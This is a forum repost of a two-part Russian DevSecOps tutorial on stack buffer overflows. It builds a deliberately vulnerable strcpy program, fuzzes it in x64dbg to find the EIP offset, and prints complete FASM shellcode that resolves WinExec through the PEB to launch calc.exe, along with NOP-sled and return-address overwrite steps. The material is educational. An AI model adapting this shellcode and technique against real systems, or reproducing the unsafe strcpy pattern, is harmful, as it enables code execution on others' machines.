• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Безопасная разработка и уязвимости кода.

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
автор Andrey_Biryukov
Статья подготовлена в рамках онлайн-курса «Внедрение и работа в DevSecOps».


Понятие DevSecOps (как, впрочем, и DevOps) до сих пор трактуют весьма широко, кто-то считает, что направление в разработке ПО, кто-то считает, что такой специалист «на все руки». Но, пожалуй, наиболее подходящим в контексте этой статьи будет следующее определение DevSecOps — это практика интеграции тестирования безопасности в каждый этап процесса разработки программного обеспечения. Отсюда можно сделать вывод, что и разработчики и тестировщики должны быть знакомы с базовыми уязвимостями, которые можно встретить в коде.

Однако, для того, чтобы лучше проникнуться тем, к чему могут привести уязвимости в программном обеспечении, я предлагаю не ограничиваться только поверхностным «общим» описанием того, как в принципе работает та или иная уязвимость, а пройти полный путь от выявления уязвимости до ее полноценной эксплуатации – запуска калькулятора в контексте уязвимой программы. В качестве примера такой уязвимости мы будем рассматривать переполнение буфера. В первой статье мы напишем уязвимую программу, правильно ее откомпилируем и поищем в ней уязвимости. Во второй статье мы проэксплуатируем найденную уязвимость, попутно разобрав все нюансы и подводные камни. В третьей статье мы поговорим о том, как можно выявлять уязвимости в исходном коде. При этом, так как та же уязвимость переполнения буфера «интернациональна», то есть и в Linux и в Windows, то первые две статьи мы посвятим разбору уязвимости в приложении под Windows 10, а в третьей статье будем рассматривать санитайзеры, работающие под Linux.

Что нам потребуется​

В качестве среды разработки я не буду использовать громоздкие инструменты типа MS Visual Studio. Вместо этого в качестве компилятора кода на С у нас будет выступать крошечный компилятор Tiny C Compiler (https://bellard.org/tcc/). Для правки двоичных файлов нам потребуется редактор, я буду использовать HxD, хотя многие скорее всего предпочтут Hiew.

И наконец, отладчик. Я буду использовать x64dbg (32-битную редакцию), хотя здесь можно было бы воспользоваться и старым добрым OllyDebug.

Все приведенные далее манипуляции я проводил на своей хостовой машине, то есть виртуализация не требуется, ничего вредоносного, равно как и нарушающего статьи УК мы делать не собираемся.

Дырявый код​

В качестве уязвимой программы у нас выступит следующий код:
Код:
int main(int argc, char* argv[]) {

char buffer[600]; //Объявляем 600 байтовый буффер

strcpy(buffer, argv[1]); //Копируем в буффер 1 аргумент

printf("Input: %s\n", buffer);

return 0; }
Как видно во второй строке мы объявили буфер размером в 600 байт, а в следующей строке мы копируем данные из аргумента, переданного в командной строке в этот буфер. В случае, если пользователь передаст более 600 байт, произойдет затирание памяти и программа “упадет”.

Откомпилируем этот код:
Код:
tcc expl_1.c
Далее мы на время забудем, о том, что мы знаем об использовании небезопасной команды strcpy и будем искать уязвимости в откомпилированном файле методом черного ящика, то есть без доступа к исходному коду.

Немного фаззинга пожалуйста​

Для того, чтобы выявить уязвимости в программе мы прибегнем к методам фаззинга. Вообще фаззинг это методика тестирования, при которой на вход программы подаются невалидные, непредусмотренные или случайные данные. В нашем случае мы будем подавать данные большого объема, наблюдая за реакцией программы.

Для начала посмотрим, как программа реагирует на корректный ввод:
37b3afa70f5a10db78830cc4cc7ca239.png

Далее можно пойти двумя путями. Можно написать скрипт, который будет побайтово увеличивая массив передаваемых данных запускать программу, наблюдая на каком шаге она упадет. Но это долго. А можно сразу подать на вход большой объем данных и посмотреть, что будет.

Передадим порядка килобайта данных, и программа не выводит Input:, значит она аварийно завершила работу.

a8ee33157a65d0a3168ae1e1fa1a8915.png

Для дальнейших действий нам потребуется отладчик.

Осторожно ассемблер!​

Откроем наш выполнимый файл в x64dbg. Увидим много непонятных команд, о которых мы подробно будем говорить в следующей статье. Сейчас нам необходимо подать на вход отладчику наш большой набор байт. Для этого выбираем Файл -> Изменение аргументов командной строки и добавляем наш массив байт.

7750195b360ce93f6b6e18a82b9c2b63.png


Далее нажимаем Выполнить, отладчик останавливается в состоянии Первая попытка исключения на 0x41414141. Также 0x41 должен быть в значении регистра EIP.

8eb02abb43cc6c563ac56b8c45cb691e.png

Если отладчик остановился на других значениях, следует выполнить Отладка -> Расширенный -> Выполнить (проглотить исключение).

Что же мы в итоге получили? Переданный нами массив данных затер значение регистра EIP. Данный регистр (Instruction Pointer) содержит адрес следующей машинной команды. То есть, вместо того, чтобы после копирования нашего буфера перейти к выполнению команды по следующему, корректному адресу, программа перейдет по адресу 0x41414141 (0x41 это код буквы А), который естественно корректным не является.

Теперь нам важно узнать, на каком именно объеме данных программа падает. Это нужно для того, чтобы впоследствии мы могли поместить в этот блок наш эксплоит. Здесь самый простой способ это подготовить специальную сигнатуру, которую скормить программе и посмотреть, какие именно байты затрут значение EIP.

У меня для этих целей сгенерирован следующий паттерн.

f049ad6c0727a133ae1642e7b212cc7b.png


В нем 1024 байта и как видно символы представлены блоками по четыре байта, где первая буква всегда заглавная. Передадим этот массив в отладчике нашей уязвимой программе и запустим ее.

be1ffe19b0b3149809031584551d4efd.png


Теперь в EIP записалось значение 0x66676141 или fgaA. Здесь самое об обратном порядке записи в памяти и обратить полученный набор байт – Aagf. То есть, для того, чтобы вызвать переполнение буфера нам необходимо передать уязвимой программе более 644 байт. Запомним это число, оно нам еще пригодится в следующей статье, где мы будем эксплуатировать найденную сейчас уязвимость.

Заключение​

В этой статье мы подробно рассмотрели алгоритм выявления уязвимостей переполнения буфера. Далее нам будет необходимо написать эксплоит, которые позволит нам проэксплуатировать найденную уязвимость и в следующей статье мы его подготовим.
 
В этой статье мы продолжим рассматривать интересную тему эксплуатации уязвимостей кода. В первой части мы выявили наличие самой уязвимости и узнали, какой именно объем байт мы можем передать нашей уязвимой программе для эксплуатации уязвимости.
Сейчас мы на время оставим нашу уязвимую программу и поговорим о написании shell-кода.

Только ассемблер – только хардкор!​

Конечно, готовый шеллкод можно сгенерировать с помощью msfvenom – утилиты, входящей в состав Metasploit. Можно также попытаться найти готовые эксплоиты, но мы легких путей искать не будем, напишем шеллкод самостоятельно. В качестве нашего рабочего инструмента я буду использовать FASM.

В рамках данной статьи я не буду рассматривать принципы программирования на Ассемблере. Желающие могут нагуглить на просторах сети всю необходимую информацию. Однако, я кратко поясню некоторые особенности написания шеллкода. Основная особенность разработки заключается в том, что мы не можем просто так вызвать необходимые для его работы функции. То есть, если при написании обычной программы мы можем поместить нужные значения в стек и вызвать необходимую функцию ОС (классический вариант push-call или модный с макросами invoke), то шеллкод выполняется в адресном пространстве другой программы и адреса функций ОС нам необходимо вычислить именно в памяти этой программы. Для этого мы сначала находим адрес библиотеки Kernel32 (строки 39-46), затем адрес PE Signature (+0x3C), Export Table (+0x78) далее перемещаемся по таблице экспорта до тех пор, пока не находим таблицу с адресами функций ОС. Далее мы просто перемещаемся по этой таблице (строка 70 и далее) и ищем соответствие имени искомой функции (в нашем случае это Winexec) и имени функции, указанной в таблице.

Полученный таким образом адрес мы далее будем использовать для вызова нужной функции. Но перед этим нам необходимо передать функции нужные параметры. В случае с Winexec нам необходимо передать строку C:\Windows\System32\calc.exe, для того, чтобы наш шеллкод затем, в лучших традициях эксплуатации уязвимостей, запустил калькулятор.

Байты: плохие и очень плохие​

Еще одно отличие нашего шеллкода от обычной программы заключается в том, что наш код в откомпилированном виде не должен содержать так называемых плохих байтов.

Классический пример плохого байта это 0х00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Мы будем передавать наш шеллкод как параметр, как делали в первой статье, в итоге, все что будет после нуля просто не будет передано в память и шеллкод не будет выполнен. В зависимости от методов передачи шеллкода уязвимому приложению возможны также другие плохие байты (0х10, 0х13 и другие). Наша задача избавиться от этих плохих байтов, заменив проблемные команды их аналогами, не содержащими данные байты. Для этого мы используемые манипуляции со стеком, представленные в строках 105-111.

Ну и еще одно отличие заключается в том, что мы храним все необходимые для работы нашего шеллкода данные в стеке, так как своего сегмента данных у нас очевидно тоже нет.

После компиляции в FASM приведенная ниже программа должна просто запустить калькулятор.
Код:
format PE console

use32

entry start

 

  start:

        push eax ; Save all registers
        push ebx
        push ecx
        push edx
        push esi
        push edi
        push ebp

        ; Establish a new stack frame

        push ebp
        mov ebp, esp

        sub esp, 18h                    ; Allocate memory on stack for local variables

        ; push the function name on the stack

        xor esi, esi
        push esi                        ; null termination
        push 63h
        pushw 6578h
        push 456e6957h
        mov [ebp-4], esp                ; var4 = "WinExec\x00"

 

        ; Find kernel32.dll base address

        xor esi, esi                    ; esi = 0
        mov ebx, [fs:30h + esi]         ; written this way to avoid null bytes
        mov ebx, [ebx + 0x0C]
        mov ebx, [ebx + 0x14]
        mov ebx, [ebx] 
        mov ebx, [ebx] 
        mov ebx, [ebx + 0x10]           ; ebx holds kernel32.dll base address
        mov [ebp-8], ebx                ; var8 = kernel32.dll base address


        ; Find WinExec address

        mov eax, [ebx + 3Ch]            ; RVA of PE signature
        add eax, ebx                    ; Address of PE signature = base address + RVA of PE signature
        mov eax, [eax + 78h]            ; RVA of Export Table
        add eax, ebx                    ; Address of Export Table
        mov ecx, [eax + 24h]            ; RVA of Ordinal Table
        add ecx, ebx                    ; Address of Ordinal Table
        mov [ebp-0Ch], ecx              ; var12 = Address of Ordinal Table
        mov edx,eax
        add edx,1Fh
        inc edx
        mov edi, [edx]            ; RVA of Name Pointer Table
        add edi, ebx                    ; Address of Name Pointer Table
        mov [ebp-10h], edi              ; var16 = Address of Name Pointer Table
        mov edx, [eax + 1Ch]            ; RVA of Address Table
        add edx, ebx                    ; Address of Address Table
        mov [ebp-14h], edx              ; var20 = Address of Address Table
        mov edx, [eax + 14h]            ; Number of exported functions
        xor eax, eax                    ; counter = 0

.loop:
        mov edi, [ebp-10h]      ;  Address of Name Pointer Table
        mov esi, [ebp-4]        ;  "WinExec\x00"
        xor ecx, ecx
        cld
        mov edi, [edi + eax*4]
        add edi, ebx
        add cx, 8
        repe cmpsb
        jz start.found

        inc eax
        cmp eax, edx
        jb start.loop
        add esp, 26h                   
        jmp start.end
        .found:

                ; the counter (eax) now holds the position of WinExec

                mov ecx, [ebp-0Ch]      ; ecx = var12 = Address of Ordinal Table
                mov edx, [ebp-14h]      ; edx = var20 = Address of Address Table
                mov ax, [ecx + eax*2]   ; ax = ordinal number = var12 + (counter * 2)
                mov eax, [edx + eax*4]  ; eax = RVA of function = var20 + (ordinal * 4)
                add eax, ebx            ; eax = address of WinExec =

                                        ; = kernel32.dll base address + RVA of WinExec

 

                xor edx, edx
                push edx

 

                push 6578652eh
                push 636c6163h
                push 5c32336dh
                push 65747379h
                push 535c7377h
                push 6f646e69h
                push 575c3a43h
                mov esi, esp            ; esi -> "C:\Windows\System32\calc.exe"
                push 10                 ; window state SW_SHOWDEFAULT
                push esi                ; "C:\Windows\System32\calc.exe"
                call eax                ; WinExec

                add esp, 46h            ; clear the stack
                .end:
            
                pop ebp                 ; restore all registers and exit
                pop edi
                pop esi
                pop edx
                pop ecx
                pop ebx
                pop eax
                ret
Но это еще не все. Теперь открываем откомпилированный файл в hex-редакторе и смотрим где начинается сам полезный код после PE заголовка. Этот набор байт и есть наше шеллкод. Сохраним его в отдельном файле, например с расширением bin.

8e6d71301ab086b0ebd019189a7dd0ef.png

NOP-sled и адрес возврата​

Теперь самое время вспомнить, чем закончилась предыдущая статья – мы узнали, что для переполнения нам необходимо передать более 644 байт. То есть в эти 644 байта мы должны положить наш шеллкод. Как видно, он без проблем умещается. Однако, шеллкод не стоит располагать в начале этого блока, лучше заполнить первую пару сотен байт значением 0х90. Это инструкция NOP, которая ничего не делает и именно за этим она нам и нужна.

f0017c9759741e23d5c56ed03d0546b4.png

Итак, давайте попробуем скормить наш новый блок из 644 байт на вход уязвимой программе и посмотрим, что окажется в регистре EIP. Если значение EIP заполнено байтами 0х90, значит нам необходимо уменьшить количество передаваемых байт. Если программа отрабатывает корректно и не останавливается на исключении, значит мы передали меньше байт и переполнение не происходит. Необходимо найти ровно тот объем, после которого происходит затирание EIP. Далее необходимо выяснить, по каким адресам в стеке хранятся переданный нами буфер. Для этого выбираем Карта памяти -> Стек. Ищем наши 0x90.

95d0e93406f4a938a3b0ea6ccf8eaeb2.png

Далее выбираем адрес одного из байтов 0х90, у меня это 0х0019e1c0. Теперь нам надо записать значение этого адреса в обратном порядке: 0xc0, 0xe1, 0x19. Заодно мы избавились от нулевого байта. Эти три байта добавляем в конец нашего шеллкода. Если мы все сделали правильно и в EIP скопировались ровно эти три байта, то его значение стало равно 0х0019e1c0 и мы успешно подменили адрес следующей выполняемой команды, в результате чего после переполнения буфера управление было передано нашему шеллкоду и мы успешно запустили калькулятор. В случае, если калькулятор не запустился, а отладчик снова остановился на исключении, посмотрите какое значение имеет регистр EIP, возможно надо просто добавит или убавить пару NOP, чтобы корректно подменить значение этого регистра.

Заключение​

В этой статье мы посмотрели, как можно написать шеллкод и на практике проэксплуатировать уязвимость. Конечно, данный материал не является простым, однако разработчикам полезно знать к чему на практике может привести уязвимость переполнения буфера.

В следующей статье мы немного поговорим про уязвимости в программах под Линукс и посмотрим какие средства могут помочь нам защититься от таких ошибок в коде.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх